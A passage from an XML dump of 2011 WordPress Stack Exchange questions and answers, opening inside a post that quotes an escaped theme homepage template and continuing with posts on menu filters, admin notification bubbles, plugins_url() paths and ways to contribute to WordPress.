&amp;lt;div class=&quot;entry clearfix&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/post-thumb.php'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;?php include (TEMPLATEPATH . &quot;/postinfo.php&quot;); ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;bottom&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/category/&amp;lt;?php echo $wp_chatter_cat_box_1; ?&amp;gt;/&quot;&amp;gt;&amp;lt;?php _e(&quot;More from&quot;); ?&amp;gt; &amp;lt;?php echo $wp_chatter_cat_box_1_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;content-col2&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( $wp_chatter_cat_box_2 ) { ?&amp;gt;&#xA;                    &amp;lt;ul class=&quot;home&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;title&quot;&amp;gt;&amp;lt;h2 class=&quot;home-title&quot;&amp;gt;&amp;lt;?php echo $wp_chatter_cat_box_2_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php query_posts('category_name=' .$wp_chatter_cat_box_2. '&amp;amp;showposts=' .$wp_chatter_num_home_posts_by_cat. ''); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); &#xA;$do_not_duplicate[$post-&amp;gt;ID] = $post-&amp;gt;ID; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;homepost maincontent&quot; id=&quot;post-2-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;entry clearfix&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/post-thumb.php'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;?php include (TEMPLATEPATH . &quot;/postinfo.php&quot;); ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;bottom&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/category/&amp;lt;?php echo $wp_chatter_cat_box_2; ?&amp;gt;/&quot;&amp;gt;&amp;lt;?php _e(&quot;More from&quot;); ?&amp;gt; &amp;lt;?php echo $wp_chatter_cat_box_2_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( $wp_chatter_cat_box_3 ) { ?&amp;gt;&#xA;                    &amp;lt;ul class=&quot;home&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;title&quot;&amp;gt;&amp;lt;h2 class=&quot;home-title&quot;&amp;gt;&amp;lt;?php echo $wp_chatter_cat_box_3_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php query_posts('category_name=' .$wp_chatter_cat_box_3. '&amp;amp;showposts=' .$wp_chatter_num_home_posts_by_cat. ''); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); &#xA;$do_not_duplicate[$post-&amp;gt;ID] = $post-&amp;gt;ID; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;homepost maincontent&quot; id=&quot;post-3-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;entry clearfix&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/post-thumb.php'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;?php include (TEMPLATEPATH . &quot;/postinfo.php&quot;); ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;bottom&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/category/&amp;lt;?php echo $wp_chatter_cat_box_3; ?&amp;gt;/&quot;&amp;gt;&amp;lt;?php _e(&quot;More from&quot;); ?&amp;gt; &amp;lt;?php echo $wp_chatter_cat_box_3_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if ( $wp_chatter_cat_box_4 ) { ?&amp;gt;&#xA;                    &amp;lt;ul class=&quot;home&quot;&amp;gt;&#xA;                        &amp;lt;li class=&quot;title&quot;&amp;gt;&amp;lt;h2 class=&quot;home-title&quot;&amp;gt;&amp;lt;?php echo $wp_chatter_cat_box_4_title; ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php query_posts('category_name=' .$wp_chatter_cat_box_4. '&amp;amp;showposts=' .$wp_chatter_num_home_posts_by_cat. ''); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); &#xA;$do_not_duplicate[$post-&amp;gt;ID] = $post-&amp;gt;ID; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;homepost maincontent&quot; id=&quot;post-4-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;entry clearfix&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/post-thumb.php'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;?php include (TEMPLATEPATH . &quot;/postinfo.php&quot;); ?&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;                        &amp;lt;li class=&quot;bottom&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/category/&amp;lt;?php echo $wp_chatter_cat_box_4; ?&amp;gt;/&quot;&amp;gt;&amp;lt;?php _e(&quot;More from&quot;); ?&amp;gt; &amp;lt;?php echo $wp_chatter_cat_box_4_title; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;?php } ?&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;content-home-bottom&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php if ( $wp_chatter_other_articles == yes ) { ?&amp;gt;&#xA;                &amp;lt;ul class=&quot;home-bottom&quot;&amp;gt;&#xA;                    &amp;lt;li class=&quot;title&quot;&amp;gt;&amp;lt;h2 class=&quot;home-title&quot;&amp;gt;&amp;lt;?php _e(&quot;Other Recent Articles&quot;); ?&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt; &#xA;&amp;lt;?php $page = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(&quot;paged=$page&quot;);&#xA;if (have_posts()) : while (have_posts()) : the_post(); &#xA;if ( $post-&amp;gt;ID == $do_not_duplicate[$post-&amp;gt;ID] ) continue; ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;homepost maincontent&quot; id=&quot;post-main-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;entry clearfix&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php include (TEMPLATEPATH . '/post-thumb.php'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;&amp;lt;?php _e(&quot;bookmark&quot;); ?&amp;gt;&quot; title=&quot;&amp;lt;?php _e(&quot;Permanent Link to&quot;); ?&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;?php include (TEMPLATEPATH . &quot;/postinfo.php&quot;); ?&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;                    &amp;lt;li class=&quot;bottom&quot;&amp;gt;&#xA;                        Archives:&amp;amp;nbsp;&#xA;                        &amp;lt;select name=&quot;archive-dropdown&quot; onchange='document.location.href=this.options[this.selectedIndex].value;'&amp;gt;&#xA;                            &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php echo attribute_escape(__('select year')); ?&amp;gt;&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;?php wp_get_archives('type=yearly&amp;amp;format=option&amp;amp;show_post_count=1'); ?&amp;gt;&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4919" LastActivityDate="2011-04-27T06:45:42.170" Title="How to Insert Index.php/ before /Category/?" Tags="&lt;categories&gt;&lt;themes&gt;&lt;404-error&gt;&lt;the-loop&gt;" />
  <row Id="15718" PostTypeId="1" CreationDate="2011-04-27T06:55:06.967" Score="0" ViewCount="45" Body="&lt;p&gt;I would like to create a download layer-popup, which would have text loaded from remote provider (e.g. another page on the same Wordpress installation) plus few checkboxes, what used needs to confirm before he can download anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should look similar to &lt;a href=&quot;http://www.google.com/chrome/eula.html?hl=en&amp;amp;platform=win&quot; rel=&quot;nofollow&quot;&gt;Google Chrome download page&lt;/a&gt;, just being displayed in a layer-popup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was to use &lt;code&gt;FancyBox&lt;/code&gt; plugin. But what plugins would fit the best to create a form and fetch content in it?&lt;/p&gt;&#xA;" OwnerUserId="4920" LastActivityDate="2011-04-27T06:55:06.967" Title="How to create download popup with remote content in it?" Tags="&lt;plugins&gt;&lt;custom-field&gt;&lt;pages&gt;" CommentCount="1" />
  <row Id="15719" PostTypeId="1" CreationDate="2011-04-27T07:54:35.220" Score="1" ViewCount="82" Body="&lt;p&gt;I'm wondering if it's possible to get status and position of metaboxes added to a dashboard-like page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main page of my plugin has several metaboxes laying in a two-columns page and a &quot;table of content&quot; box on top (with internal links, like a wikipedia page). However, since you can order/hide/reveal a metabox, the TOC box should be updated accordingly via an ajax method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to trigger a method like that, passing all parameters i need to accomplish the ordering (position and status of all metaboxes)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tnx in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gabriele&lt;/p&gt;&#xA;" OwnerUserId="4666" LastActivityDate="2011-04-27T11:48:50.377" Title="Dashboard - get status and position of metaboxes and pass them to ajax method" Tags="&lt;plugin-development&gt;&lt;metabox&gt;&lt;ajax&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="15720" PostTypeId="2" ParentId="15567" CreationDate="2011-04-27T08:17:45.927" Score="1" ViewCount="" Body="&lt;p&gt;I would do this when you call &lt;code&gt;add_options_page()&lt;/code&gt;, not later. It's always better to do this with the supported API instead of playing with the internal structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin updater periodically checks the plugin status and then saves the result in a &lt;em&gt;transient&lt;/em&gt;. This means that &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/menu.php#L33&quot; rel=&quot;nofollow&quot;&gt;it only reads this cached status&lt;/a&gt; when the menu is created, it doesn't do the full check on every page load. You can do something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_menu', 'wpse15567_admin_menu' );&#xA;function wpse15567_admin_menu()&#xA;{&#xA;    $warnings = get_transient( 'wpse15567_warnings' );&#xA;    $warning_count = count( $warnings );&#xA;    $warning_title = esc_attr( sprintf( '%d plugin warnings', $warning_count ) );&#xA;&#xA;    $menu_label = sprintf( __( 'Plugin Checker %s' ), &quot;&amp;lt;span class='update-plugins count-$warning_count' title='$warning_title'&amp;gt;&amp;lt;span class='update-count'&amp;gt;&quot; . number_format_i18n($warning_count) . &quot;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&quot; );&#xA;&#xA;    add_options_page( 'Plugin Check', $menu_label, 'activate_plugins', 'sec_plugin_check', 'sec_checker' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/vFhMb.png&quot; alt=&quot;Menu item with notification bubble&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do the actual warning check, you save the results in the transient so it can be read later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! empty( $matches ) ) {&#xA;    set_transient( 'wpse15567_warnings', $matches );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that I don't do anything special when there are no warnings. The bubble doesn't get displayed because it gets the class &lt;code&gt;count-0&lt;/code&gt;, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.2/wp-admin/css/wp-admin.dev.css#L1087&quot; rel=&quot;nofollow&quot;&gt;which has &lt;code&gt;display: none&lt;/code&gt; in the css&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-27T08:17:45.927" CommentCount="1" />
  <row Id="15722" PostTypeId="2" ParentId="119" CreationDate="2011-04-27T08:46:56.517" Score="1" ViewCount="" Body="&lt;p&gt;Two Google Summer of Code projects that have a similar goal:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gsoc2010.wordpress.com/brian-mckenna-automatic-migration/&quot; rel=&quot;nofollow&quot;&gt;Automatic Migration&lt;/a&gt; (GSoC 2010)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.google-melange.com/gsoc/project/google/gsoc2011/merty/21001&quot; rel=&quot;nofollow&quot;&gt;WordPress Move&lt;/a&gt; (&lt;a href=&quot;http://codex.wordpress.org/GSoC2011#Move_WordPress_.280.29&quot; rel=&quot;nofollow&quot;&gt;proposal&lt;/a&gt;) (GSoC 2011)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-27T08:46:56.517" />
  <row Id="15723" PostTypeId="1" AcceptedAnswerId="15730" CreationDate="2011-04-27T09:19:16.140" Score="3" ViewCount="112" Body="&lt;p&gt;I have recently found myself with some time on my hands and with no problem of my own, I would like to solve someone's problem.&#xA;I'd like to contribute to the WP community how best would I be able to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to contribute in way of code. I can take a suggestion of a modules/features  I could pick one, maybe the one with the most up votes.&lt;/p&gt;&#xA;" OwnerUserId="4924" LastEditorUserId="4924" LastEditorDisplayName="" LastEditDate="2011-04-27T09:50:09.907" LastActivityDate="2011-04-28T08:12:55.150" Title="Contributing to the community" Tags="&lt;community&gt;" AnswerCount="6" CommentCount="2" FavoriteCount="1" />
  <row Id="15724" PostTypeId="2" ParentId="15723" CreationDate="2011-04-27T09:22:11.073" Score="0" ViewCount="" Body="&lt;p&gt;Stick around an answer as many questions as you can!&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-04-27T09:22:11.073" />
  <row Id="15725" PostTypeId="2" ParentId="12784" CreationDate="2011-04-27T09:35:08.213" Score="1" ViewCount="" Body="&lt;p&gt;You can change the id and class of each item with the &lt;code&gt;nav_menu_item_id&lt;/code&gt; and &lt;code&gt;nav_menu_css_class&lt;/code&gt; filter hooks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('nav_menu_item_id', 'clear_nav_menu_item_id', 10, 3);&#xA;function clear_nav_menu_item_id($id, $item, $args) {&#xA;    return &quot;&quot;;&#xA;}&#xA;&#xA;add_filter('nav_menu_css_class', 'clear_nav_menu_item_id', 10, 3);&#xA;function clear_nav_menu_item_id($classes, $item, $args) {&#xA;    return array();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will result in items saying &lt;code&gt;&amp;lt;li id=&quot;&quot; class=&quot;&quot;&amp;gt;&lt;/code&gt;. The same mechanism can be used to set IDs to something useful, such as the page slug.&lt;/p&gt;&#xA;" OwnerUserId="3828" LastActivityDate="2011-04-27T09:35:08.213" />
  <row Id="15726" PostTypeId="2" ParentId="15530" CreationDate="2011-04-27T09:46:42.047" Score="0" ViewCount="" Body="&lt;p&gt;Guys forgive my ignorance, but I can't see the 'comment' link/button. I can in StackOverFlow but not here at Wordpress Stackexchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I comment on people's answers without having to create an 'answer' ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I will remove this question once I get this figured!)&lt;/p&gt;&#xA;" OwnerUserId="4925" LastActivityDate="2011-04-27T09:46:42.047" CommentCount="5" />
  <row Id="15727" PostTypeId="2" ParentId="15723" CreationDate="2011-04-27T09:53:54.820" Score="3" ViewCount="" Body="&lt;p&gt;The bug tracker (Trac) has a special corner for you: &lt;a href=&quot;http://core.trac.wordpress.org/report/16&quot; rel=&quot;nofollow&quot;&gt;Needs patch&lt;/a&gt;. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-04-27T09:53:54.820" />
  <row Id="15728" PostTypeId="2" ParentId="15723" CreationDate="2011-04-27T09:59:26.127" Score="2" ViewCount="" Body="&lt;p&gt;You can&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fix WP bugs&lt;/li&gt;&#xA;&lt;li&gt;write or contribute to plugins&lt;/li&gt;&#xA;&lt;li&gt;help with documentation&lt;/li&gt;&#xA;&lt;li&gt;hang out here or other WP sites to answer questions&lt;/li&gt;&#xA;&lt;li&gt;build and release themes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for which module you should work on - well that should be &lt;em&gt;your&lt;/em&gt; choice. Without knowing your skills and interests, how can I give you a good answer for what to do?&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-27T09:59:26.127" CommentCount="1" />
  <row Id="15729" PostTypeId="2" ParentId="15723" CreationDate="2011-04-27T10:00:05.953" Score="4" ViewCount="" Body="&lt;p&gt;I roughly sort such stuff into following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Contributing_to_WordPress&quot; rel=&quot;nofollow&quot;&gt;Contribute &lt;strong&gt;to WordPress&lt;/strong&gt; as project&lt;/a&gt; (many ways - code, docs, debug, etc).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Contribute &lt;strong&gt;to related project&lt;/strong&gt; (for example I use Hybrid theme framework so I pay for membership and try to spend some time helping on forums there).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Contribute &lt;strong&gt;to community&lt;/strong&gt; in general (for example start a blog about WordPress, release public theme or plugin).&lt;/li&gt;&#xA;&lt;li&gt;Contribute &lt;strong&gt;to individuals&lt;/strong&gt; (stick here or official forums and answer questions).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you are looking to improve your skills &lt;strong&gt;4&lt;/strong&gt; is very efficient without much commitment.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-28T08:12:55.150" LastActivityDate="2011-04-28T08:12:55.150" />
  <row Id="15730" PostTypeId="2" ParentId="15723" CreationDate="2011-04-27T10:00:11.277" Score="4" ViewCount="" Body="&lt;p&gt;The Codex has &lt;a href=&quot;http://codex.wordpress.org/Contributing_to_WordPress&quot; rel=&quot;nofollow&quot;&gt;a page on how to contribute to WordPress&lt;/a&gt;. Some other ways to help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Help others with questions. On the WP.org support forums, here, or on other sites, it does not matter. Pick &lt;a href=&quot;http://wordpress.stackexchange.com/unanswered&quot;&gt;a question that has been open for a while&lt;/a&gt; and try to solve it. I have &lt;a href=&quot;http://meta.wordpress.stackexchange.com/questions/366/what-tools-do-you-use-to-answer-questions&quot;&gt;a tool to quickly start experimenting with code&lt;/a&gt;, and most of what I know about WordPress comes from answering questions here. It even made me write &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my first plugin for other developers&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Improve the Codex. The same reason as answering questions: to explain something you must first understand it yourself. And the Codex is in need of some serious rewriting.&lt;/li&gt;&#xA;&lt;li&gt;Look at code written by others. You can &lt;a href=&quot;http://justintadlock.com/archives/2011/04/14/join-the-wordpress-theme-review-team&quot; rel=&quot;nofollow&quot;&gt;volunteer to review themes&lt;/a&gt;: this will teach you about the coding standards and you'll learn interesting ways to use WordPress.&lt;/li&gt;&#xA;&lt;li&gt;Write code yourself. If you are not confident enough to write complete patches, you can also test new features or confirm new bug reports. By trying to isolate the bug you will also learn how the inner code works, and gain respect among your peers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-04-27T10:00:11.277" />
  <row Id="15731" PostTypeId="1" AcceptedAnswerId="15732" CreationDate="2011-04-27T10:23:04.023" Score="2" ViewCount="128" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt; function accepts plugin slug or file path to build URL for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have following directory structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/wp-content/mu-plugins/someplugin/css/file.css&#xA;/wp-content/mu-plugins/someplugin/includes/file.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to build URL to &lt;code&gt;file.css&lt;/code&gt; in &lt;code&gt;file.php&lt;/code&gt;. I can't pass &lt;code&gt;__FILE__&lt;/code&gt; because that will be one level too deep. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugins_url('css/file.css', __FILE__ )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can pass &lt;code&gt;__DIR__&lt;/code&gt; to get correct level and it seems to work, but it's not documented as allowed and I am not sure there isn't something to bite me later with this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;plugins_url('css/file.css', __DIR__ )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, is this adequate? Any better way to build URL for these conditions?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-27T10:36:15.127" Title="Is it safe to pass directory path to plugins_url()?" Tags="&lt;plugins-url&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15732" PostTypeId="2" ParentId="15731" CreationDate="2011-04-27T10:26:54.630" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;__DIR__&lt;/code&gt; is rather new and not always supported. Use &lt;code&gt;dirname( __FILE__ )&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;plugins_url()&lt;/code&gt; is using …&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$folder = dirname(plugin_basename($plugin));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… so yes, it is safe.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-04-27T10:36:15.127" LastActivityDate="2011-04-27T10:36:15.127" CommentCount="6" />
